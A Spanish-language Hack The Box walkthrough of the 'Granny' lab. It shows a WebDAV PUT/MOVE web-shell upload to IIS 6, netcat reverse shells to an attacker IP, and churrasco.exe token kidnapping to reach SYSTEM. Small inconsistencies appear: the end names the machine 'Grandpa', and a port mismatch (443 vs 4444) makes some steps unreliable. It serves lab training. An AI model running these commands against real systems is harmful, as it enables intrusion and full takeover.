Granny

En este post, vamos a abordar la resolución de la máquina Granny de la plataforma Hack The Box. En primer lugar, para ganar acceso al sistema subiremos una web shell al servicio WebDAV la cual nos permitira enviarnos una reverse shell a nuestra máquina atacante. Finalmente, para escalar nuestros privilegios abusaremos del privilegio SeImpersonatePrivilege utilizando la utilidad churrasco.exe.

Reconocimiento

Lanzamos una traza ICMP a la máquina víctima para comprobar que tengamos conectividad.

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.

Enumeración

Descubrimiento de puertos abiertos

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open --min-rate 5000 10.10.10.15 -n -Pn -oG scanPorts -vvv

Enumeración de versión y servicio

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

nmap -sCV -p80 10.10.10.15 -oN targeted -vvv

Explotación

Si ingresamos a la web que esta corriendo bajo el puerto 80, nos encontramos con lo siguiente:

Nos encontramos con la página por defecto de una instanacia de IIS 6.

Si recordamos nuestro escaneo con nmap, vimos que estaba presente el servicio de WebDAV. WebDAV (Web-based Distributed Authoring and Versioning, por sus siglas en inglés) es un servicio que nos permite compartir, editar y manejar archivos en un servidor remoto vía HTTP.

Podemos comprobar que tipo de archivos podemos subir a la máquina, utilizando la herramienta davtest:

davtest -url http://10.10.10.15

Podemos observar, que solo podemos subir archivos con extensión .txt y .html.

Pero si recordamos nuestro escaneo inicial con nmap, vemos que tenemos disponbile el método MOVE, el cual nos permite renombrar un archivo.

Vamos a subir una web shell, para ello utilizaremos la cmdasp.aspx.

Copiamos el archivo a nuestro directorio de trabajo.

cp /usr/share/webshells/aspx/cmdasp.aspx

Subimos el archivo pero con la extensión .txt.

curl -s -X PUT http://10.10.10.15/cmdasp.txt -d @cmdasp.aspx

Luego, debemos renombrarlo utilizando el método MOVE.

curl -s -X MOVE -H 'Destination: http://10.10.10.15/cmdasp.aspx' http://10.10.10.15/cmdasp.txt

De esta forma, logramos subir nuestra web shell.

Para ganar acceso al sistema, crearemos un recurso compartido con la herramienta impacket-smbserver para poder compartirnos la utilidad nc.exe.

En primer lugar, debemos copiar el binario a nuestro directorio de trabajo.

cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .

Creamos el recurso compartido.

impacket-smbserver -smb2support sharedFolder .

Nos ponemos en escucha por el puerto 443.

rlwrap nc -lnvp 443

Ejecutamos el siguiente comando en nuestra web shell.

\\10.10.14.2\sharedFolder\nc.exe -e cmd 10.10.14.2 443

Ganamos acceso al sistema como el usuario nt authority\network service.

Escalación de privilegios

Si listamos los privilegios de nuestro usuario, podemos observar uno que destaca SeImpersonatePrivilege.

El privilegio SeImpersonatePrivilege en Windows permite a un proceso suplantar (impersonar) a un usuario después de autenticarse. En otras palabras, le da a un proceso la capacidad de ejecutar acciones en nombre de otro usuario. Este privilegio es crucial para ciertos servicios y aplicaciones que necesitan realizar tareas en nombre de los usuarios, pero también puede ser un riesgo de seguridad si se abusa de él. Por ejemplo, un atacante con este privilegio podría suplantar a un administrador y realizar acciones maliciosas con altos privilegios.

Para escalar privilegios, podemos abusar de este privilegio utilizando la utilidad churrasco.exe.

Esta herramienta, nos permitira realizar lo que se conoce como Token Kidnapping, lo cual es una técnica de ataque en sistemas Windows en la que un atacante secuestra un token de acceso para obtener privilegios elevados y ejecutar código malicioso con permisos elevados.

Este tipo de ataque se basa en la explotación de vulnerabilidades en el sistema operativo o en aplicaciones para capturar y reutilizar tokens de seguridad asignados a procesos con privilegios más altos.

Un token de acceso es una estructura de datos en Windows que describe la seguridad de un proceso o hilo. Contiene información sobre la identidad del usuario y sus privilegios.

Descargamos la utilidad churrasco.exe y nc.exe.

Creamos un recurso compartido con impacket-smbserver para poder transferir estos binarios a la máquina víctima.

impacket-smbserver -smb2support sharedFolder .

Descargamos los binarios en la máquina víctima.

copy \\10.10.14.2\sharedFolder\churrasco.exe churrasco.exe
copy \\10.10.14.2\sharedFolder\nc.exe nc.exe

Nos ponemos en escucha con netcat por el puerto 443.

rlwrap nc -lnvp 443

Ejecutamos churrasco.exe en la máquina víctima.

churrasco.exe "\\10.10.14.2\sharedFolder\nc.exe -e cmd 10.10.14.2 4444"

Ganamos acceso como nt authority\system.

Por ultimo, leemos los flags de user.txt y root.txt.

Extras

Protección contra Token Kidnapping

  1. Actualizaciones y Parches: Mantener el sistema operativo y todas las aplicaciones actualizadas con los últimos parches de seguridad.

  2. Configuraciones de Seguridad: Configurar correctamente las políticas de seguridad y los permisos de usuario para minimizar los riesgos.

  3. Principio de Mínimo Privilegio: Ejecutar servicios y aplicaciones con el mínimo nivel de privilegio necesario para su funcionamiento.

De esta forma, concluimos la resolución de la máquina Grandpa.

Espero que los conceptos hayan quedado claros. En caso de tener alguna duda, te invito a realizar nuevamente la máquina para afianzar tus conocimientos.

¡Gracias por leer!

Happy Hacking!

Última actualización